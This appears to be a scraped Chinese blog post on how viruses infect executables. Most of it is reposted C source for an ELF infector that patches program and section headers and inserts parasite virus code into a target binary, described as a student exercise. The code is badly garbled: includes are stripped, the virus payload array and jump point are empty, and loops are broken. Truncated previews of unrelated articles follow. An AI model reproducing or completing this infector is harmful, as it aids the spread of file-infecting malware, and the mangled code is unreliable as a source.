病毒感染可執行檔案初探

2021-05-18 15:30:42 字數 2279 閱讀 9395

大部分病毒都是感染可執行檔案,可執行檔案的格式有多種,常用的coff與elf,elf主要在linux下,elf檔案的內容按一下的格式組織,只要你知道這個格式就能編寫程式將自己的**加到elf檔案中,下面轉貼一篇這方面的文章上。

/*

elf infector source file

student:

student id:

class:

*/

#

include

#include

#include

#include

#include

#include

#include

<

string

.h>

//define pagesize,default 4k byte

#define pagesize 4096

//parasite virus code.the code is copied from internet.

char virus=

;int infect(

char

*elffile)

;//the size of virus code

int virussize=

sizeof

(virus)

;

int jmppoint=/*jump point of binary code of virus*/;

//infector function

int infect(

char

*elffile)

else

if(pt_load =

= phdr.p_type &

& phdr.p_offset=

=0)}

lseek(filed,oldshoff,

seek_set);

//the loop of read and modify the section header

for(i=0;ielse

if(i!=0)

//write back

lseek(filed,oldshoff+i*

sizeof

(shdr)

,seek_set);

write

(filed,

&shdr,

sizeof

(shdr));

}//to get the file size filestat.st_size

struct stat filestat;

fstat(filed,

&filestat)

;char

*data=

null

;data=

(char*)

malloc

(filestat.st_size-oldphsize)

;lseek(filed,oldphsize,

seek_set);

read

(filed,data,filestat.st_size-oldphsize)

;//insert the virus code to the elf file

lseek(filed,oldphsize,

seek_set);

write

(filed,virus,

sizeof

(virus));

char tmp[pagesize]=;

//pad to pagesize

memset

(tmp,pagesize-virussize,0)

;write

(filed,tmp,pagesize-virussize)

;write

(filed,data,filestat.st_size-oldphsize)

;result=1;

free

(data)

;return result;

}//just for test

int main(

int argc,

char

**argv)

inttest

=infect(argv[1]);

if(test

!= 1)

return 0;

}

linux 執行可執行檔案

1 首先,需要了解一下a.out這個目標檔案。a.out在linux下是elf executable linkable format 檔案格式,該目標檔案由乙個檔案頭 段 資料段 已初始化 從定位資訊區 符號表及符號名字字串構成,如下左圖所示,經過鏈結後生成執行檔案如下右圖所示,需要說明的是1 bs...

API函式執行可執行檔案

shellexecute hwnd hwnd,父視窗控制代碼 lpcstr lpoperation,操作型別 lpcstr lpfile,要進行操作的檔案或路徑 lpcstr lpparameters,當lpoperation為 explore 時指定要傳遞的引數,通常設為null lpcstr l...

Linux下執行可執行檔案

我們通常會為計算機配置環境變數 path,echo path 檢視當前的環境變數包含的目錄。這些目錄下的可執行檔案就無需輸入完整路徑來執行,直接輸入命令就行,我們shell中常使用的一些linux命令,例如man,cat等的目錄都被包含在該path目錄中,所以直接在shell中輸入這些命令就可以。即...